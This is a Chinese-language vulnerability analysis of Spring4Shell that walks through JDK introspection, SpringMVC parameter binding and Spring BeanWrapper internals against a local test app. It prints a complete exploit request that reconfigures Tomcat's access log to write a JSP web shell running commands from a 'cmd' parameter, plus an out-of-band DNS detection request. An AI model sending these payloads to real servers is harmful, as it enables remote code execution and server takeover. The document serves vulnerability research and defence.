该漏洞的本质类似于变量覆盖漏洞,利用变量覆盖,修改tomcat
的配置,并修改tomcat
的日志位置到根目录,修改日志的后缀为jsp,达到木马文件写入的效果
值得一提的是该漏洞是CVE-2010-1622
的绕过,详情可以参考 http://rui0.cn/archives/1158
spring-beans
版本5.3.0 ~ 5.3.17
、5.2.0 ~ 5.2.19
JDK 9+
Apache Tomcat
参数绑定
,且为非基础数据类型
该漏洞的关键点,在于JDK内省机制
以及Spring属性注入
,在后文中都有详细的解析
一般来说满足如下条件的,可以称为一个JavaBean
private
setter&getter
方法,让外部可以设置&获取
JavaBean的属性method: getName()
--> property: name
getSEX()
一个类被当作javaBean使用时,JavaBean的属性是根据方法名推断出来的,使用它的程序看不到JavaBean内部的成员变量
内省即:当一个类是满足JavaBean条件时,就可以使用特定的方式,来获取和设置JavaBean中的属性值
Java中提供了一套API来访问某个属性的setter/getter方法,一般的做法是通过Introspector.getBeanInfo()
方法来获取某个对象的BeanInfo
,然后通过 BeanInfo
来获取属性的描述器PropertyDescriptor
,通过PropertyDescriptor
就可以获取某个属性对应的getter/setter
方法,然后通过反射机制来调用这些方法。
除了JDK的Introspector
,还有Apache BeanUtils
,这里仅介绍前者
Introspector
类位于java.beans
包下
该类中的主要方法getBeanInfo
都是静态方法
// 获取 beanClass 及其所有父类的 BeanInfo BeanInfo getBeanInfo(Class<?> beanClass) // 获取 beanClass 及其指定到父类 stopClass 的 BeanInfo BeanInfo getBeanInfo(Class<?> beanClass, Class<?> stopClass)
// bean 信息 BeanDescriptor beanDescriptor = beanInfo.getBeanDescriptor(); // 属性信息 PropertyDescriptor[] propertyDescriptors = beanInfo.getPropertyDescriptors(); // 方法信息 MethodDescriptor[] methodDescriptors = beanInfo.getMethodDescriptors();
有这样一个JavaBean,尝试用Introspector来获取其属性
UserInfo
public class UserInfo { private String id; private String name; public String getSex() { return null; } public String getId() { return id; } public void setId(String id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } }
IntrospectorTest
这里调用Introspector.getBeanInfo
,不使用带有stopClass
的重载方法,会让JDK连父类一并进行内省操作
public class IntrospectorTest { public static void main(String[] args) throws IntrospectionException { BeanInfo beanInfo = Introspector.getBeanInfo(UserInfo.class); PropertyDescriptor[] propertyDescriptors = beanInfo.getPropertyDescriptors(); for (PropertyDescriptor propertyDescriptor : propertyDescriptors) { System.out.println("Property: " + propertyDescriptor.getName()); } } }
output
Property:class
Property:id
Property:name
Property:sex
预期内的结果
非预期内的结果
这里出现了一个非常有意思的点,也是导致整个漏洞的关键因素之一,为什么会出现class呢
因为在Java中,所有的类都会默认继承Object
类
而在Object
中,又存在一个getClass()
方法,内省机制就会认为存在一个class属性
尝试再获取class属性的beaninfo
Introspector.getBeanInfo(Class.class);
Property:annotatedInterfaces
Property:annotatedSuperclass
Property:annotation
Property:annotations
Property:anonymousClass
Property:array
Property:canonicalName
Property:class
Property:classLoader
Property:classes
Property:componentType
Property:constructors
Property:declaredAnnotations
Property:declaredClasses
......
已经可以看到熟悉的classLoader
了
该漏洞的原理类似变量覆盖漏洞,通过传参修改tomcat日志的路径以及后缀等,本质其实是SpringMVC
的参数绑定
简单介绍一下SpringMVC
的参数绑定
基本类型int
@RequestMapping("/index") @ResponseBody public String baseType(int age) { return "age: " + age; }
http://localhost:8080/index?age=8
包装类型
@RequestMapping("/index") @ResponseBody public String packingType(Integer age) { return "age: " + age; }
包装类型主要是为了规避参数为空的问题,因为其不传值就赋null,但是int类型却不能为null
public class UserInfo { private Integer age; private String address; ......补充其 get set toString 方法 }
在 User 类中引入这个类,这种情况该如何绑定参数呢
public class User { private String id; private String name; private UserInfo userInfo; }
http://localhost:8080/index?id=1&name=Steven&userInfo.age=20&userInfo.address=BeiJing
如果我们想要直接接收两个对象,有时候免不了有相同的成员,例如我们的User
和Student
类中均含有
id
、name
两个成员,我们试着请求一下
@RequestMapping("/index") @ResponseBody public String objectType2(User user, Student student) { return user.toString() + " " + student.toString(); }
http://localhost:8080/index?id=0&name=t4r
返回结果:User{id='0', name='t4r'} Student{id='0', name='t4r'}
可以看到,两个对象的值都被赋上了,但是,大部分情况下,不同的对象的值一般都是不同的,为此,我们还有解决办法
@InitBinder 注解可以帮助我们分开绑定,下面的代码也就是说分别给user
、student
指定一个前缀
@InitBinder("user") public void initUser(WebDataBinder binder) { binder.setFieldDefaultPrefix("user."); } @InitBinder("student") public void initStudent(WebDataBinder binder) { binder.setFieldDefaultPrefix("stu."); }
http://localhost:8080/index?user.id=1&name=t4r&stu.id=002
@RequestMapping("/index") @ResponseBody public String arrayType(String[] name) { StringBuilder sb = new StringBuilder(); for (String s : nickname) { sb.append(s).append(", "); } return sb.toString(); }
http://localhost:8080/index?name=Alice&name=Bob
返回结果:Alice, Bob
集合是不能直接进行参数绑定的,所以我们需要创建出一个类,然后在类中进行对List
的参数绑定
控制层方法中,参数就是这个创建出来的类
@RequestMapping("/index") @ResponseBody public String listType(UserList userList) { return userList.toString(); }
http://localhost:8080/index?users[0].id=1&users[0].name=Alice&users[1].id=2&users[1].name=Bob
如果Tomcat
版本是高于7的 ,执行上述请求就会报400
错误
这是因为Tomcat高的版本地址中不能使用[
和]
,我们可以将其换成对应的16进制,即 [
换成 %5B
,]
换成%5D
或者直接用post
请求也可以
map 类型是一样的套路,我们先创建一个 UserMap类,然后在其中声明 private Map<String,User> users
进而绑定参数
@RequestMapping("/index") @ResponseBody public String mapType(UserMap userMap) { return userMap.toString(); }
同样 []
会遇到上面的错误,所以如果想要在地址栏请求访问,就需要替换字符,或者发起一个post
请求
PropertyEditorRegistry
PropertyEditor 注册、查找TypeConverter
类型转换,其主要的工作由 TypeConverterDelegate 这个类完成的PropertyAccessor
属性读写ConfigurablePropertyAccessor
配置一些属性,如设置ConversionService
、是否暴露旧值、嵌套注入时属性为 null 是否自动创建BeanWrapper
对 bean 进行封装AbstractNestablePropertyAccessor
实现了对嵌套属性注入的处理从上图可知,获取BeanWrapper实例可以通过其唯一实现类BeanWrapperImpl获取
BeanWrapper beanWrapper = new BeanWrapperImpl(对象);
beanWrapper.setPropertyValue(属性名, 属性值); beanWrapper.setPropertyValue("name", "t4r");
也可以通过PropertyValue
PropertyValue propertyValue = new PropertyValue("age", "80"); beanWrapper.setPropertyValue(propertyValue);
上述代码可以将属性值自动转换为适配的数据类型,过程如下
下图是跟踪BeanWrapperImpl#setPropertyValue(实际调用的就是父类AbstractNestablePropertyAccessor#setPropertyValue)
到AbstractNestablePropertyAccessor#processLocalProperty
的代码
可以总结一下processLocalProperty
函数主要做了两件事:
convertForProperty
利用JDK
的PropertyEditorSupport
进行类型转换setValue
使用反射进行赋值,BeanWrapperImpl#BeanPropertyHandler#setValue
setValue
最终通过反射进行属性赋值,如下
autoGrowNestedPaths=true 时当属性为 null 时自动创建对象
beanWrapper.setAutoGrowNestedPaths(true);
beanWrapper.setPropertyValue("director.name", "director");
beanWrapper.setPropertyValue("employees[0].name", "t4r");
Person person = (Person) beanWrapper.getWrappedInstance();
String name = (String) beanWrapper.getPropertyValue("name");
BeanWrapper 有两个核心的实现类
AbstractNestablePropertyAccessor
提供对嵌套属性的支持BeanWrapperImpl
提供对 JavaBean 的内省功能,如PropertyDescriptor
上面已经简单介绍过了BeanWrapperImpl
而在Spring-framework 4.2
之后,AbstractNestablePropertyAccessor
将原BeanWrapperImpl
的功能抽出,BeanWrapperImpl
只提供对JavaBean
的内省功能,所以很多老哥看CVE-2010-1622
的分析时可能会比较疑惑
Object wrappedObject
:被BeanWrapper
包装的对象String nestedPath
:当前BeanWrapper
对象所属嵌套层次的属性名,最顶层的BeanWrapper
的nestedPath
的值为空Object rootObject
:最顶层BeanWrapper
所包装的对象Map<String, AbstractNestablePropertyAccessor> nestedPropertyAccessors
:缓存当前BeanWrapper
的嵌套属性的nestedPath
和对应的BeanWrapperImpl
对象getPropertyAccessorForPropertyPath
根据属性(propertyPath
)获取所在bean
的包装对象beanWrapper
,如果是类似class.module.classLoader
的嵌套属性,则需要递归获取。真正获取指定属性的包装对象则由方法getNestedPropertyAccessor
完成
该函数内的具体操作,以属性class.module.classLoader
为例
.
之前的属性部分递归
处理嵌套属性class
属性所在类的rootBeanWrapper
module
属性所在类的classBeanWrapper
moduleBeanWrapper
getPropertyAccessorForPropertyPath
处理属性有两种情况:
.
):直接范围当前bean的包装对象.
):从当前对象开始递归查找,查找当前beanWrapper
指定属性的包装对象由getNestedPropertyAccessor()
完成getNestedPropertyAccessor
函数中的主要工作如下:
nestedPropertyAccessors
用于缓存已经查找到过的属性getPropertyNameTokens
获取属性对应的token
值,主要用于解循环嵌套属性autoGrowNestedPaths
决定是否自动创建AbstractNestablePropertyAccessor
对象PropertyHandler
的默认实现是BeanPropertyHandler
,位于BeanWrapperImpl
内BeanPropertyHandler
是对PropertyDescriptor
的封装,提供了对JavaBean
底层的操作,如属性的读写该函数内的主要操作如下
getPropertyAccessorForPropertyPath
递归获取propertyName
属性所在的beanWrapper
token
,token
用于标记该次属性注入是简单属性注入,还是Array、Map、List、Set
复杂类型的属性注入autoGrowNestedPaths=true
时会创建默认的对象
创建对象的操作会由setDefaultValue
调用其无参构造方法完成
IDEA创建一个SpringMVC项目,搭建过程不赘述
web.xml
<?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <servlet> <servlet-name>springMVC</servlet-name> <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class> <init-param> <param-name>contextConfigLocation</param-name> <param-value>WEB-INF/springMVC.xml</param-value> </init-param> <load-on-startup>1</load-on-startup> </servlet> <servlet-mapping> <servlet-name>springMVC</servlet-name> <url-pattern>/</url-pattern> </servlet-mapping> </web-app>
springMVC.xml
<?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:context="http://www.springframework.org/schema/context" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context https://www.springframework.org/schema/context/spring-context.xsd"> <bean class="org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping" /> <bean class="org.springframework.web.servlet.mvc.SimpleControllerHandlerAdapter" /> <bean class="org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"/> <bean class="org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter"/> <context:component-scan base-package="com.example.springshell.controller"/> </beans>
maven
<dependency> <groupId>org.springframework</groupId> <artifactId>spring-beans</artifactId> <version>5.3.17</version> </dependency>
Controller
package com.example.springshell.controller; import com.example.springshell.bean.Person; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; @RestController public class TestController { @RequestMapping("/hello") public String hello(Person person){ return person.getName(); } }
JavaBean
package com.example.springshell.bean; public class Person{ private String name; private int age; public int getAge(){ return age; } public String getName(){ return name; } public void setAge(int age){ this.age = age; } public void setName(String name){ this.name = name; } }
payload
POST /hello HTTP/1.1 Host: localhost:8082 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36 X-Requested-With: XMLHttpRequest Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.10.128:8080/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Content-Type: application/x-www-form-urlencoded Cookie: JSESSIONID=EDD95D704336C807D0EB1A404D1D1BB9 Connection: close suffix: %> prefix: <% Content-Length: 679 class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25{prefix}ijava.io.InputStream+in+%3d+Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream()%3bint+a+%3d+-1%3bbyte[]+b+%3d+new+byte[4096]%3bout.print("</pre>")%3bwhile((a%3din.read(b))!%3d-1){+out.println(new+String(b))%3b+}out.print("</pre>")%3b%25{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=/Users/t4rrega/Desktop/&class.module.classLoader.resources.context.parent.pipeline.first.prefix=bean-rce&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
在有了上文的属性注入基础后,再来分析漏洞过程,就显得格外清晰了
上文中提到Spring-framework 4.2
之后由AbstractNestablePropertyAccessor
来完成嵌套输入注入的支持
在AbstractNestablePropertyAccessor#setPropertyValue
处设置断点,根据设置的控制器路由,发送上述的http请求,触发断点(断点的位置已经是完成了参数绑定后的位置,参数绑定主要是通过DataBinder
完成,该操作不是漏洞的关键点,略过)
可以看到函数的入参是pv,我们追溯一下,可以发现AbstractPropertyAccessor#setPropertyValues
通过for循环,对请求中的每一个键值对,调用AbstractNestablePropertyAccessor#setPropertyValue
进行属性注入操作
回到AbstractNestablePropertyAccessor#setPropertyValue
,分析一下该函数做的事:
PropertyTokenHolder
对象,上文中也提到,用于解析嵌套属性名称AbstractNestablePropertyAccessor
对象,并调用getPropertyAccessorForPropertyPath
此时的propertyName
为class.module.classLoader.resources.context.parent.pipeline.first.directory
,跟入getPropertyAccessorForPropertyPath
在getPropertyAccessorForPropertyPath
中,正如前文所说,通过递归的方式,获取嵌套属性的包装对象beanWrapper
这里首先会通过getFirstNestedPropertySeparatorIndex
拿到.
前的一个属性,拿到class
属性后,调用getNestedPropertyAccessor
该函数中:
AbstractNestablePropertyAccessor
PropertyTokenHolder
,之后调用getPropertyValue
处理它简单提一下,这里的缓存列表结构如下,可以发现嵌套的属性
在AbstractNestablePropertyAccessor#getPropertyValue
中又调用getLocalPropertyHandler
处理传入的PropertyTokenHolder
中的actualName(即class)
AbstractNestablePropertyAccessor
中的getLocalPropertyHandler
是一个抽象方法,其唯一子类BeanWrapperImpl
重写了该方法,跟入该方法
调用了CachedIntrospectionResults#getPropertyDescriptor
而真正的逻辑在其构造方法中,看到了我们熟悉的getBeanInfo
这里也就解释了我们为什么能获取到class
这个属性值,因此其没用调用另一个有stopclass
参数的重载方法
到此,算是完成了获取class这个参数的beanWrapper
回到AbstractNestablePropertyAccessor.setPropertyValue
接着会调用重载的方法,进行属性的注入
又调用了processLocalProperty
processLocalProperty
函数之前也提到过,完成了类型转换
以及调用BeanWrapperImpl#setValue
通过反射完成了最终的属性注入
在CachedIntrospectionResults
的构造方法中,可以看到对beanClass
以及属性名做了判断
beanClass
非class
classLoader
或protectionDomain
显然Class.getClassLoader
被拦截了
但是Java9新增了module
,可以通过Class.getModule
方法调用getClassloader
的方式继续访问更多对象的属性
在调试过程中,发现了payload中的
class.module.classLoader.resources.context.parent.pipeline.first
context
对应StandardContext
parent
对应StandardHost
pipeline
对应StandardPipeline
first
对应AccessLogValve
因此,公开的利用链也就是利用AccessLogValve
,这个类用来设置tomcat
得日志存储参数,修改参数可以达到文件写入的效果
payload中
suffix: %> prefix: <% class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25{prefix}ijava.io.InputStream+in+%3d+Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream()%3bint+a+%3d+-1%3bbyte[]+b+%3d+new+byte[4096]%3bout.print("</pre>")%3bwhile((a%3din.read(b))!%3d-1){+out.println(new+String(b))%3b+}out.print("</pre>")%3b%25{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=/Users/t4rrega/Desktop/&class.module.classLoader.resources.context.parent.pipeline.first.prefix=bean-rce&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
由于%
会被过滤,pattern
里通过引用头部来实现构造
%{x}i可引用请求头字段
%{x}i 请求headers的信息
%{x}o 响应headers的信息
%{x}c 请求cookie的信息
%{x}r xxx是ServletRequest的一个属性
%{x}s xxx是HttpSession的一个属性
此外StandardContext
中的configFile可发送http请求,可以用于漏洞的检测
发送如下请求
POST /springshell_war_exploded/hello HTTP/1.1
Host: localhost:8082
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
X-Requested-With: XMLHttpRequest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.10.128:8080/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=EDD95D704336C807D0EB1A404D1D1BB9
Connection: close
Content-Length: 163
class.module.classLoader.resources.context.configFile=http://test.9vvyp3.dnslog.cn&class.module.classLoader.resources.context.configFile.content.config=config.conf
DNS记录